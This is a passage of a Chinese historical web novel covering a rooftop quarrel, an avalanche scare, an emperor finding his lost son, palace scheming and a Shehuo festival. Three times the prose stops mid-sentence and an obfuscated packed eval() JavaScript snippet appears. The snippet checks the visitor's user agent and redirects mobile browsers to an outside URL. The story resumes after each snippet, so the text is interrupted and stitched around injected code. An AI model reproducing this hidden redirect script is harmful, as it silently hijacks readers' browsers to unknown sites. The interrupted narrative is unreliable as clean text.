陆峥安晃了晃酒坛:“我酒没了,把你的给我喝喝。”
然后示意给沈卿钰看,沈卿钰垂眸看向空荡荡一片的酒坛子,蹙着眉刚想拒绝。
可谁料——
极快的身影闪过,他手上的酒坛就空了。
他仰头去看站在屋檐上,提起酒瓶倾注而下的人。
夜色天幕下雪花成了清晰的光点,这个高大的男人就这样将酒坛倒灌,大口饮牛。
明明两个大男人这样互相借酒喝本属平常,他不应该拘泥于小节。
可沈卿钰就这样看着他的唇印着他刚刚喝过的地方,完全覆盖住他喝过的痕迹,让他有一种浑身发麻的奇怪感觉!
说不上来是哪里奇怪的地方,可他就是觉得很奇怪!
“还你。”酒坛朝自己飞过来,沈卿钰下意识抬手接住。
那男人用袖口擦了下下巴上的酒渍,重新坐在他身边,看着前方屋檐下的众人,问他:
“沈大人刚刚说,那些村民清完雪之后,日子能否过得更好。就像屈先生说的那样,哀民生之多艰,沈大人对民生又是何解?”
沈卿钰攥了攥身边的酒坛,想起顾太师说的话:“民生多艰啊,还多灾多难多寡多祸。”
一时之间没说话。
陆峥安屈膝垂着手,眼里碎着光:“作为行走江湖的人,我每天都在和不同的人打交道,这群村民知恩图报、民风淳朴,值得我们耗费这么多人力物力去帮忙。沈大人为官仁慈、博爱,可沈大人知道吗?天道有轮回,苍生有命。我们做不了救世主,而且有些穷凶极恶、心藏祸胎的恶人,就不值得你去救。”
沈卿钰蹙起眉头,听他意有所指的意思,问道:“比如哪些穷凶极恶的恶人?”
“沈大人此前不是去剿过匪吗?”陆峥安转眸看向他,一双漆黑的眼睛如墨一般深重,“就比如那些常居山中的土匪。”
“天道维常,不容有异。江湖草莽向来不为世道所容,土匪更是人人喊打、世人皆唾。”
“土匪”二字,说的极重。
沈卿钰看着他,心像是突然被石头砸了一下。
大雪将屋檐下的嘈杂再次卷进了风雪中。
空气又变得沉寂下来。
面前的人用晦暗不明的眼神盯着他,寸寸逼近:
“那么沈大人,对那些土匪又是怎么看待的?也把他们当普通百姓吗?”
随着他逼近。
沈卿钰往后挪了一步,抓紧了手下的屋檐。
面前男人却突然凑上来,脸突然在他面前放大。
沈卿钰匆忙别过头,心绪无端激烈起伏:“你离我远点。”
“嗯。”那人只是淡淡应了一声,却没有退分毫,而是倏然伸出手,盖住了他眼睛——
沈卿钰眼前一黑。
随之眉毛上一轻,痒意传来。
“放肆!”沈卿钰怒意涌现,横眉瞪他。
“别紧张。”那人伸出手,轻轻拂去他眉梢的雪花,在掠过他眼下皮肤的时候,喉结微微一滚,声音极轻,“你眉毛上沾了雪花,我只是替你擦掉而已。”
“阁下是否太多管闲事了!”沈卿钰冷着脸,避开他转过身去,起身欲离开。
可衣袖一紧,他还没起身,就被面前人给扣住。
随之眼前一闪。
星空出现在上空。
头被枕着,整个人倒在了瓦片上。
雪花如鹅毛一样,絮絮落下,落在他收缩成一片的瞳孔中。
清凌凌,如同坠入湖水的羽毛。
“你从遇到我就一直在盯着我耳后根看,你在找黥刑?想看我是不是土匪?”
面前人眼里涌现某种光、专注地看着他。
沈卿钰瞪大了眼睛。
连对方扣着他手腕,都没反应过来。
直到冰凉的侧脸被温热的手掌抚上。
冰火交织的感觉让他浑身一震,颤抖了一下。
面前男人用低沉、沙哑的声音问他:
“假如,我就是那个不为人所容的土匪呢?你会远离我吗?还会和我在这里把酒言欢吗?”
沈卿钰缩着瞳孔,面前是纷飞乱舞的雪花,还有在风雪中神情专注的男人。
他一把从地上弹起来,扣住对方的手腕。
通红着眼睛、声音颤抖地问他:
“你、到底是谁?!”
15. 玩笑(修)
面前人沉默了很久,然后反过来,轻轻说出一句:“沈大人希望我是谁?”
“是人是鬼就直说,不要遮遮掩掩!”
沈卿钰红着眼眶,加重了扣住他的力道,眼睛不放过他脸上一丝一毫的表情。
迎着他的注视,男人漆黑的眸子几度掀起一片波澜,在几次席卷后,褪下潮水,最终归于沉寂。
直到轻飘飘的、淡淡的笑意漾开,男人不着调地笑道:“开个玩笑而已,沈大人不会当真了吧?”
“好笑吗?”沈卿钰抓紧了他的手腕,力道大的仿佛可以生生将他手给钳下来。
“我问你好笑吗?”
潋滟狭长的眸子里却沾上湿意,红通通的像个无措的兔子。
陆峥安心里一紧。
“怪我,我混不吝,嘴上没把门,别哭……”陆峥安伸出手想拭去他眼角的湿意,手还没靠近就被反手打开。
“一点也不好笑!”沈卿钰甩开他抓住自己的袖子,起伏着胸膛拂袖离去。
陆峥安就这样静静看着他离开,目光沉静如湖水。
……
回去后。
在镖车上。
胡斯找到陆峥安关心地问:“老大,你们不是聊的好好的吗?沈大人怎么晚上招呼都没打就回去了?你们在屋檐上发生什么了?”
空气沉寂下来,他抬眼去看。
面前男人双腿交叉靠在马车垫上,一双漆黑的眸子里闪烁着不知名的情绪。
直到一声叹息传来:“没忍住,又把他惹生气了。”
胡斯:……
一时之间不知道说什么好了。
他问:“老大你是不是暴露自己真实身份了?惹沈大人反感了?”
——隐藏身份这件事并不是刻意为沈大人做的,每次他们走镖都会易容,只不过不是戴人皮面具而是涂抹了一种特殊药水让旁人看不出他们的真面目,不然身上刻着黥刑也太过招摇。
只是来了之后,碰巧遇到沈大人,陆峥安才让他们配合他一起演戏。
那日,陆峥安向他请教怎么追芸娘,他还没说几句,陆峥安又没让他教了。
所以现在他现在也不知道二人是什么情况。
听到他的提问,陆峥安神情一凝,沉默住了。
老实说,他现在也不知道自己暴露没有,但他也没打算瞒多久,本来就打算找个合适的时间和他坦诚相待的。
可现在,好像被他搞砸了,而且现在显然也不是他坦诚的时机。
“还没暴露,但我也不确定了现在。”陆峥安抓了根狗尾巴草衔在嘴边缓解焦躁,往旁边捋了一下头发,声音难辨情绪,“是我的错,今天是我冲动了。”
“怎么冲动了?你对沈大人做什么了?”胡斯瞪大眼睛,“你不会强吻沈大人了吧?!”
——他就说在下面看到两个人怎么面对面凑那么近,果然事有蹊跷!老大果然憋不住了是吗?
“你要不要再大点声,让所有人都听到,以为你老大我就是个色|欲熏心的色|魔?”陆峥安挑了挑眉,抱胸“啧”了一声。
胡斯捂住嘴:“对不起,我不是故意的。”
“行了行了。没事就回你车上早点睡,明天还要起早干活呢。”陆峥安嫌弃地开始把他往外赶。
胡斯走之前不放心地敦促:“老大,追媳妇是这样的,当初我追芸娘也是差不多,得拿出个像模像样的态度出来,慢慢来别急。”
“知道了。”陆峥安拍了拍他肩膀,示意他放心。
等他走后,双手撑着头,懒懒靠在马车了垫子上。
转眸间,抬手掀开马车轿帘,看向不远处仍然亮着灯的那辆马车,隐隐约约映着一抹清冷如雪的身影,心中起伏不定。
脑中想起胡斯的话。
做了什么?
有那么一瞬间,在屋檐上二人的距离离得真的很近,近乎是面贴面,只要他稍稍低下头,就能触碰上那片红艳艳的柔软。
——他知道那片柔软尝起来是什么感觉。
喉结没忍住滚了几下,眼神深了几分。
他当然最终没有对他做什么,可他确实是急于求成了一点。
他在试探,他想知道,他是否如他日日夜夜思念着他一样,对他也有着不可取代的记忆?他想知道,他在得知他就是陆峥安的那天,会以什么样的态度面对他?
“唰——”一下,盖住马车帘。
阖眸躺下。
窗外夜色如墨,只剩白茫茫一片的雪。
直到天边亮起鱼肚白。
陆峥安还没睡醒,就被老村长叫醒:
“陆侠士,陆侠士。”
“出什么事了?”陆峥安看着他焦急的满头大汗的样子,心里涌上不祥的预感。
“不好了,今天清晨后山上发生了雪崩,沈大人本来带了几个村民前去探路,可现在只有几个村民回来了,沈大人——”
还没说完,银光闪过,马车上的人影倏然消失不见。
老村长看着前面提着银枪飞速离去的陆峥安,一脸诧异,在原地愣愣道:“我还没说完呢,这孩子怎么火急火燎的…练了飞毛腿吗这是……”
陆峥安提着银枪,以一种旁人只能看到残影的速度,飞速在雪地上快速掠过。
细密的汗珠从他额头上滴落,平时轻松随性的脸此刻沉下一片。
等他赶到后山。
面前是一片刺目的白,大雪连同巨大的山上石块滚在了一起,堆成一堆小山丘,堵住了前面的关隘口,天地间只剩下白茫茫的一片。
他离近了去看。
然后瞳孔骤然缩起。
只见那片堆成山丘的雪块当中,触目惊心地露出一抹月白衣角。
朴素精巧的刺绣,是昨天他见过的样式。
“哐啷——”一声,手中脱力,银枪掉到地上。
“阿钰…”他颤抖着瞳孔,跪在雪地上,开始徒手刨雪块。
坚硬冰冷的雪块比石头好不到哪里去,由于他孜孜不倦的动作,很快他手上就被雪块摩擦出了血迹、还有冻出的红肿。
可他却顾及不了分毫,而是一下下、锲而不舍地朝那片衣角露出来的地方刨着。
可当祛除雪块,他看着面前空了一片的地上只有一片衣角时,眼眶瞬间红了,声音抖得不像样:
“阿钰,你在哪?为什么我找不到你?”
“你别吓我……”
声音已经是接近神智恍惚的崩溃了。
“哗啦啦”、“哗啦啦”,他蓄起内力朝雪块打去,成片成片的雪块被他如削苹果皮一样削掉一大片。
可即便是整片雪地山丘都快被他削平了,他也没见到那抹熟悉的身影。
不可能、他不可能有事!这里找不到他,他就算将鹭洲山移为平地、掘地三尺也要把他救出来!
远处渐渐天幕拉开白昼,而他这里仍然没有丝毫进展。
心渐渐沉下,眼泪不知觉地从他眼眶滴滴砸入雪地里。
他愣愣跪在雪地上,看着已经被自己移成了平地的雪地。
毫无踪影。
除了被自己握在手心里的一片衣角。
直到身后传来一声冷冷的声音:
“你在做什么?”
失神的瞳孔骤然凝起光彩来。
他猛然转过头看向来人。
衣服上破了一角的沈卿钰正居高临下地看着跪在地上的他。
“你……你没有遇到雪崩?”陆峥安愣愣问道。
“我为什么会遇到雪崩?”
陆峥安讷讷道:“可村长说……”
沈卿钰眉间凝霜,耐着性子解释:“早前听村长说此处发生雪崩,我带了几个村民来探查了一下清雪的位置,特意绕开此处,临走时不小心被树枝勾到衣角,我没遇到。”
他一寸寸将视线挪到被他移为一片平地的山丘,再落到他手上攥着一片衣角、鲜血淋漓的手。
“你不会、在这里刨雪刨了一上午吧?”
沈卿钰垂眸撇着他,联想到他以前在北方冰川雪原上见过的一种拉雪橇的犬,那个狗的品种叫哈士奇,拉完雪橇后特别喜欢刨雪来解压。
他看着面前的人,感觉他和哈士奇有的一拼。
哈士奇刨雪是因为贪玩,那这人又是为什么?
眉头跳动,他明白过来:
“你以为我被雪埋底下了?”
看到全须全尾、衣服上破了个角的他,陆峥安算是彻底明白
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025622|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过来了。
心里彻底松了口气。
然后浑身松懈下来。
他往身后雪堆一倒。
高大的身形将雪堆砸出道人形。
“起来。”沈卿钰弯下腰,朝他伸出手。
“腿麻了,起不来了。”
陆峥安的声音有些哑。
“我拉你,抓住我手。”沈卿钰再次朝他伸出手,重复道。
借着他的力道,陆峥安抓住他的手,借力从雪堆上站了起来。
然而,手却并没有及时放开。
沈卿钰感受到手心传来一股冰凉的温度,他皱了皱眉,“做什么——”
话还没说完。
伴着雪块的清冽扑面而来,腰被一双有力的大手牢牢圈住,高大健壮的男人将他抱了个满怀。
沈卿钰睁大了眼睛,僵在了原地,入目的是男人后脖颈上短粗的头发,还有干净的不带任何刻字的耳后根,胸腔贴上对方宽厚的胸膛,共振着对方急促狂跳的心脏。
“放开我。”沈卿钰眉宇凝结起冰霜,开始推他。
“对不起,阿钰,我再也不惹你生气了。”男人的声音低沉沙哑,还带着劫后余生的颤抖和后怕。
沈卿钰愣住,手僵硬地垂在了身体两侧。
树林里安静的只听得到雪落枝头的声音,阳光从丛林枝头中穿过,照在沈卿钰茫然无措、呆滞的眼睛上,像是误入林中的雀。
“你……哭了?”脖颈上传来的湿意,让他蹙起眉头。
沉寂许久后。
“怎么会,你看错了。”男人抓着他的手心,将他放开,扬起一抹轻飘飘随性的笑。
沈卿钰垂眸看向和他十指相扣的手,冷冷道:“手放开。”
“好好好,放开放开。”陆峥安兴致阑珊,意犹未尽地松开他的手。
随之愣住——
沈卿钰托着他的手,低着头从怀里拿出一瓶药膏,认真又仔细地给他已经红肿成一片的手开始涂药。
双手上下交叠,冰火融合成一个恰到好处的温度。
陆峥安低头看着他。
那光洁的额头露出如松雪一样的眉尖,阳光从头顶照下,只能让人看得清那双狭长漆黑的眸子里的阴影,唯独脸上的表情是认真谨慎的。
心头一热。
“阿钰……”
他轻声唤道。
沈卿钰给他涂完手后,侧过身:“不要叫我阿钰。”
然后独自往前走。
谁料肩膀上一重。
陆峥安嬉皮笑脸地把胳膊搭在他肩膀上,凑近了道:“可我刚刚叫你阿钰,你也没反对,这不挺好听的吗?”
沈卿钰转眸去看。
男人比自己要高半个头,伸展出来的胳膊修长又有力,揽过来刚刚好可以把他整个人都包进肩膀里。
让他想起昨晚屋檐上,对方拿着他的酒唇印着唇喝的那次。
一种私人领地被侵占、说不出来的奇怪感觉让他有些烦躁。
他蹙起眉头,刚想甩开他,或许是因为他挣扎,对方吃痛地叫了下:“疼疼疼,你借我搭一下借借力。”
沈卿钰瞥见他刚刚处理好的伤口,眉尖浮动几下,抿着唇终究没说话。
丛林的飞鸟时不时从雪枝头探过头,安静的空气中只听得到二人的脚步声。
还有某人叽叽喳喳的独角戏。
“哎你说,我叫你阿钰,要不你叫我阿筝?”
沈卿钰转过头静静看了他一眼。
漆黑的眸子里沉着一丝暗流。
陆峥安不察,追问:“你说好不好?这样才不见外嘛,咱俩现在可算得上生死之交的好兄弟了。”
——好兄弟个屁。
他心里否认,当然面上一副哥两好的样子。
沈卿钰忍着跳动的额角,冷声道:
“再废话,就自己走回去。”
*
而此时相隔数里的景都城皇宫中。
钦天监监正张丘陵刚拿到大理寺呈上来的画像,端详了不到片刻,匆匆掠袍奔向玄武殿的方向。
画卷被掀起一角。
日光照在画中男子英俊张扬的脸上,将那耳后根上的“囚”字映衬的微微发光。
16. 身世(修)
腊月之后是少见的晴天,隆冬寒意已近尽头,玄武殿门口依稀能闻见喜鹊栖在枝头叫,寿熹见状让人捉了喜鹊装进笼子里,呈给泰和帝观赏。
“陛下,见到您圣体转安,这喜鹊儿都跑殿门口来给您报喜讨赏来了。”
“就你这张嘴最讨喜,哪是它在讨赏,朕看是你在替自己讨赏吧。”已近耳顺的泰和帝卧在窗边榻上批阅奏折,和前几日相比,疲倦不堪的病气消退,那张威严端重的脸上添了一丝生气,气色确实好了很多。
还有心情伸出手拿鸟食逗弄被关在笼子里的喜鹊。
“哪能够,奴才就是和这喜鹊一样,见到您圣体大好,心中高兴,哪敢讨您的赏,见着陛下高兴,奴才就高兴。”
对他的奉承,泰和帝并没有回,而是继续逗弄着笼子里的喜鹊。
唯独被他刚放下的奏疏就这样大喇喇出现在案边,显然并不避讳寿熹的样子。
都是这宫里的人精,寿熹立刻就注意到,看着搁置在一旁的江南来的奏疏,封皮上写的那个遒劲有力的“沈”字,神色敛了敛,上前说道:“奴才去给您换一壶热茶,这些个伺候的也不懂事,净在您心情好的时候给您添堵。”
说着就上前要把茶壶旁边的奏疏一并带走,还没拿起来,威严的声音响起:“慢。”
然后又抬起威严的凤眸瞥了一眼寿熹,问道:“你认为沈卿钰此行,是好事还是坏事?”
寿熹连忙跪下,伏在地上:“奴才以为,沈大人此行为国利民,是为大义之举。”
“大义?呵。”泰和帝一声嗤笑,然后将奏疏不甚在意扔到一旁,坐在榻边喝了口茶,“不管江南织造署的事与你、与东宫、或者是内书房有什么干系,朕都得让他去,不能拦他,你知道为什么吗?”
早前曾听说过傅荧和江南织造署那边牵扯的寿熹在心里把他骂了无数遍,面上却恭恭敬敬回答:“陛下自有自己的决断,奴才只知,陛下所为皆是为大棠黎民百姓,为大棠国祚昌盛,圣心可鉴。”
“你就是小聪明有余,大智慧缺了点,这个问题的答案,若朕问太子,太子回答的会比你好。”说完,他便摆摆手让他退下。
门口却传来一声通报:“陛下,钦天监张大人求见。”
——张大人若来,必须让他第一时间知道,这是泰和帝亲口下的命令。
寿熹连忙退下,弯腰恭敬开门请张大人进来,走之前却注意到他手上拿着的一副画卷。
等寿熹走后,泰和帝朝张丘陵招招手,眼含期待:“怎么样?找着了吗?”
张丘陵跪下,双手恭敬呈上一副画像:“回陛下,找到了,确信是失散的二皇子无疑。”
“快拿来朕看看。”接过张丘陵递给他的画像,他放在阳光下仔细端详,待看清那张英俊硬朗的脸后,上上下下左左右右换着方向看,最后满意地笑出声,“果然是朕的儿子,和朕年轻的时候长得一模一样,有朕雄风。”
盯着画像上男人耳后根的“囚”字,又皱起眉:“就是这个黥刑刻的太难看,不体面,谁给他刻的?主事官是谁?”
张丘陵道:“二皇子幼时跟随陆淑妃在民间流浪,吃了很多苦,最后流落草寇,遭受黥刑实非得已,涉事官员臣已命人处置过了。”
“嗯,一个黥刑而已,洗了就是。”泰和帝点了点头,思及那个柔弱又倔强的女人,他面上浮现一丝回忆,“当时陆淑妃和朕情投意合,可能是朕太过宠溺这个女人,才让她和皇后争风吃醋,不顾圣恩跑去法华寺剃度出家,朕只是不想太惯着她,大怒之下将她贬为庶人让她自行离去,谁料她当时已经怀上朕的骨肉,一念之差,竟让朕的皇儿流落民间这么久,吃了这么多苦。”说完,脸上难免.流露出痛惜的神色。
“陛下保重龙体,往事不可追。”张丘陵扶着他坐到榻上,“二皇子少年英才,侠义心肠,而且武艺超群,据闻十八般武艺样样精通,为人聪慧过人,想来陆淑妃是悉心教导的。”
“要是教的好怎会让他落草为寇?这个女人就是太不知好歹,要是早和朕说她怀了龙子,朕岂会让她出宫?违逆朕意,恃宠而骄,私藏龙子,没拿她问罪算轻的了。”不愿多想,泰和帝挥了挥手,“人已逝去,便不提她了。”
然后问张丘陵,“你适才说他十八般武艺样样精通,武状元都不一定做得到的事这怎么可能?你莫不是诓朕?”
未满半岁的小皇子年岁尚幼身体也不算好,太子又常年与轮椅相伴,是以泰和帝极其重视子嗣的身体。
张丘陵将大理寺卿禀报给他的消息说给泰和帝听,老皇帝听的啧啧称奇,眼睛都发起光来,最后抚掌而笑:“大理寺固若金汤他还能从里面逃出去?还徒手夺别人鞭子?真是个混世魔王啊哈哈哈。”
张丘陵知道这是泰和帝在夸二皇子,顺着他的话道:“绝不作假,二皇子身体强健着呢,我看这天塌下来他都能顶着。”
“哈哈,他个高可不得他顶着?他大哥身体不好,朕也江河日下,霖儿又尚在襁褓,哎,还好苍天有眼,让朕找到他了。”说到最后,老皇帝都不禁潸然,眼含热泪。
“陛下福气绵延,定是要活百年与仙人齐寿的。”
“不用哄朕了,朕知道自己的身体。”他看了看画像,爱不释手,又想起什么,问道,“你说这个混世魔王来景都找沈卿钰了?他们又是什么时候
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15025623|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
认识的?到底是什么纠葛让沈卿钰把他关进牢里了?”
张丘陵又放低声音,对他说了缘由,泰和帝眼神随着他说的变了几变,最终化为一片深沉。
而门口一直默默守着的一个小太监,立刻寻了个由头,去内书堂找了寿熹,趴在他耳边交头接耳。
寿熹神色一变:“立刻去通报太子殿下,说我有要事见他。”
*
此时的东宫。
一袭白衣的温泽衍执着一颗白子落入棋盘,然后又执起一颗黑子落入下首,自己和自己对弈。
寿熹在一旁看他一副气定神闲的表情,急得要命:“殿下,您不急吗?流落民间的二皇子找到了!陛下要是认回他,到时候和您争储,那咱这么多年的筹划可要付诸东流了!”
“沈卿钰在江南查出什么了吗?”
没想到,那温润如玉的人却又问了另一个问题。
“那边还没消息传来。”说起这件事,寿熹又有些急了,“殿下,您平日待那沈卿钰可不薄,他查案子倒查您头上来了,真是怎么都化不开的一个顽石。”
“他要是不查我,那才不像他了。”温泽衍神色未见异常。
“您知道也不拦他?”
“他查与不查,并不会影响事情的结果,我何必耗费时间拦他。”温泽衍落下最后一颗黑子,吃掉白子后,眼光闪动,漆黑的眸子沉下一片湖水。
放在膝盖上的右手攥紧一块玉佩,垂下眸子不辨悲喜,唯独流淌的暗流几度翻涌。
“奇怪的是陛下也不拦着他,任由他胡来。”寿熹也奇怪沈卿钰当时请旨的时候,泰和帝居然那么快就答应了。
“父皇更不会拦,他要的就是制衡你、我和内阁。”温泽衍淡淡道破。
经他点拨,寿熹总算是看透,刚准备顺着他的话说些什么,却又想起此行,又急道:“殿下这些已经不重要了,眼看着二皇子要回宫了,我们应该如何应对?”
空气变得沉寂下来,只听得到棋盘落子的声音。
直到淅沥沥的雨从屋檐上倾倒下来,哗啦啦惊退池水里的鲤鱼,池水中倒映着坐在轮椅上的人,脸上神色不温不喜。
一片风声赫赫,寿熹去看,不知何时那刚刚还光秃秃的屋檐上突然出现数十个身披黑甲、脸戴铁面具的人,各个都带着浴血的杀气,伏在屋檐上就像埋伏着的秃鹫,寿熹顿时心悸成一片。
棋盘上的落子声也停了,棋局中,白子被围剿而死,黑子胜。
“下雨了。”温泽衍静静摊开手,抬眸看向天空,雨滴落在他手心,砸的乒乓作响。
日光落在他几近透明的眼中,却照不见一丝亮。
17. 社火节(修)
清雪的事告一段落,沈卿钰出发去鹭洲城本地官府报道。
陆峥安的镖也要送到鹭洲,只不过在他的安排下,进了城后胡斯陈飞他们先去送镖,而他则跟在沈卿钰身旁。
二人同路,所以一路上依然是相伴而行的。
沈卿钰领着一众人马,浩浩荡荡从鹭洲山脚下经过的时候,看见山头上人影攒动,几个村民在给他们送行。
迎着日光,那群山民朴素的脸上或带着感恩、或带着不舍地目送着他们。
而最明显的,是他们脸上的不舍。
就像老村长说的:“沈大人,我们知道你们有更重要的事要做,可我们是真的不舍啊,官居头顶,可无人会佑我们啊。”一把年纪的老村长摇着头擦着泪,“见过青天,才知头顶上是什么样的烈日,灼心呐。”
似乎见他神色沉重,又安慰道:“不过没事,好歹咱这个冬天比以往好过多了,还有沈大人留给我们的粮食米面,大家伙勤快点,今年怎么着都不会差哪里去,沈大人一路走好,我们会一路目送各位前行。”
沈卿钰骑着马,迎着他们的视线,漆黑狭长的眸子里照着日光,抿着唇没有言语。
直到旁边同样骑着马的陆峥安挤到他身边,问道:“阿钰,在想什么呢?”
沈卿钰回过神来,看了一眼骑着马,连马缰都没拉还能稳稳坐马上的人,淡淡道:“你何时走?”
“走什么?”
“走镖。”
陆峥安疑惑:“这不正走着呢吗?”
沈卿钰蹙起眉头:“我是说和我们分开走。”
陆峥安这才明白过来,无奈笑了:“你在赶我走?”
他挑了挑眉,环伺四周一圈,小声凑到沈卿钰耳边道:“我走了你多无聊啊,剩下韩修远那个毛头小子还有那个年纪大的李大人跟你身边,你不得无聊死?前路漫漫,我不得陪陪你说说话、解解闷儿?”
甩着马鞭,语气似认真似促狭:“你说对吧沈兄?我们可是过命的交情,我怎么能丢下你一个人走?”
说着说着又往他身上靠,眼看着要拉住他衣袖了。
沈卿钰蹙起眉头,垂眸看他接近自己的手,在他拉上的前一刻,勒紧马肚,甩绳离开,和他拉开距离。
“阿钰……”
身后人还在唤他。
“别说话了,你很吵。”
沈卿钰冷冷回他,骑着马往队伍最前面去了。
等他走后,陆峥安脸上的笑意渐渐淡下来,凝着神色,抬起头看向山坡上给他们送行、依依不舍的村民们。
骑马静静伫立了良久。
一双黑漆漆的眼睛渐渐沉下说不明的情绪。
随即摇摇头,重新扬起笑意,追上前面那抹渐渐远去的白色身影。
“等等我阿钰。”
*
晚上,一行人到了鹭洲城,刚进城就被里面熙熙攘攘的人群给牵住了脚步。
里面不知在举办什么节日,热闹非凡。
因为人太多了,沈卿钰几个人也没办法再继续骑马了,只能下马牵着马绳走。
人群突然变得吵闹起来,一堆人喊着:“来了来了来了!”
沈卿钰凝眸去看。
只见街道中央,远远的几个颜色鲜艳的高台出现,高台上站着或坐着身穿戏服、妆容夸张的几个演员,沈卿钰依稀可以看得出这些装扮都是一些经典戏剧和四大名著里面的人物。
而高台上或插桃花、或种树,桃树上还挂着造型华丽的花灯,表演的戏剧角色演员们神情生动活泼,或挂在树上、或吊在枝头,而这些演员大部分都是体重轻的小孩子。
在高台在前面打头阵的时候,几根红色竖杆隐隐出现,随之群众们的呼声更大了:“这个好看!哇!好高!”
随着呼声,一众踩着十尺高跷的演员们出现在众人面前。
这些装扮同样奇特、身怀绝技的演员们,双足踩着十尺长的高跷扮演着戏曲名著、上古诸神里的人物,在熙熙攘攘的人群里面如履平地一样,大步流星,通街游行,极为震撼。
韩修远是第一次见到这样的场面,不由得惊了:“这是什么节目?奇人啊。”
沈卿钰还没开口说话,旁边抱着孩子的热心妇人替他解释了:“你们是外地来的吧?这是西北来的社火节,寓意着来年风调雨顺、时运昌盛啊。”
韩修远疑惑:“西北的社火节,怎么会到江南来表演?”
“哎呀是赵老板花重金从西北请来的戏班子呢,赵老板是西北人,现在为了招揽客人,给酒楼增加人气,特意把西北最有名的戏班子给请了过来,咱也可以跟着一起开开眼界了。”然后妇人指着前面不远处一个刻着“长安客栈”的酒楼,示意韩修远去看。
果不其然,众人顺着妇人的视线去看,只见旁边一个新起的、高楼层叠的酒楼上,身穿华服、大腹便便的老板正笑意盈盈、热情宣传着:
“感谢诸位支持,今天全场开业大酬宾,零嘴茶饮免费、客房削价三成!”
正在此时,那坐高台上扮演武松打虎的稚童还表演了一下喷火,又引发的众人拍掌叫好。
气氛一时之间热闹又喧嚣,表演的精彩让一众镖局的人和韩修远等人也随之沉浸了下去,都纷纷忍不住踮脚去驻足观看。
而在一众表演者中,最引人注目的是踩着高跷的关羽。
他身长九尺,面髯二尺、唇涂红脂,头戴红绸冠,手拿一把青龙偃月刀,身穿绿袍华服,威风凛凛地在人群中划着大刀踩着高跷、稳稳地过。
相比于其他扮演者,他的步伐更为稳健,脚下三尺长的高跷和他本人几乎融为一体,他的年岁也更长一些,神态表情做的神似关公本人,一看就是这群民间演员的佼佼者,是练了很久的练家子了。
韩修远几个人看的目不转睛,路都不走了。
而陆峥安却看着身侧的沈卿钰,看他清冷如雪的脸上不辨情绪,目光跟着前方一个抱着厚厚被子的妇人。
那妇人跌跌撞撞、神色紧张地挤过人群,来到人群最前面。
“扑通——”一声,跪在了关公面前。
在关羽扮演者匆忙驻足下,妇人满面怆然,声音颤抖却带着势不可挡的执着:
“求关二爷,保佑我的言儿康复!”
然后,掀开怀里的被褥,从里面露出一张面色皆青、须发尽白、已然药石无医的婴孩来。
“哦哟——”一众刚刚还在看热闹的群众顿时唏嘘起来。
韩修远几个人也被这场面惊住了。
刚刚热闹非凡的气氛,因为这个突然出现的妇人顿时变得凝滞起来。
世间诸多贫苦无解,病痛也非医石可医,就如同眼前的一幕——
当尝尽了所有方式,找遍了所有大夫依然治不好之后,处于绝境的人便会将希望寄托给缥缈的神明。
人活着总需要希望,若没有希望,那将没有活头了。
关公扮演者脸色变得沉重起来,在他的示意下,一旁的同伴给他递了张裱纸,他点燃裱纸燃尽。
敬完神明后。
在妇人期盼、虔诚的眼神中,他踩着高跷、掀起衣袍,从妇人头顶跨步而过。
——关公胯.下过,关关难,关关过。
作为一个普通人,扮演着无所不能、英勇坚毅的关爷,给予同样是普通人的妇人所能给予的最大希望。
“谢关二爷!谢关二爷!”那妇人欣喜地双手伏地磕头。
陆峥安却注意到,那关公扮演者跨过之后,沉沉地叹了一口气,手中挥动的青龙偃月刀都变得不稳了起来。
可出乎众人意料的是——
不知是不是因为
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15025624|162241||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这个妇人的带头,在她身后、陆陆续续拥挤上一群身穿破衣、神色麻木的人,纷纷自发跪在她身后,形成一长条的队伍。
他们当中或有年过花甲的老人、或有面色苍白的染病者、或有如那妇人一般抱着孩童的人、或有行走困难的乞丐,全是众生百态。
且陆陆续续全部拥了上来,甚至有越来越多的趋势。
那关公扮演者再次停在了这群队伍面前,沉重地、摇着头闭上眼,眼里留下的两行泪染花了他脸上的戏妆。
他挥起大刀,朝四周大喝一声:“拿酒来!”
在一群人还没反应过来的时候,陆峥安挑起长枪斩断马上绑着酒坛的缰绳,枪尖托起酒坛,精准地朝他的方向飞过去:“请!”
关羽扮演者接下酒后,拍开封泥大口饮牛,哗啦啦全部灌下后,眼睛通红成了一片。
再次在众人期盼的眼神中,他颤抖着手挥动着青龙偃月刀,踩着高跷,在人群中步履沉重地跨过。
在他的前行中,一众信徒虔诚地跪伏在地上,等待着来自希望的信仰。
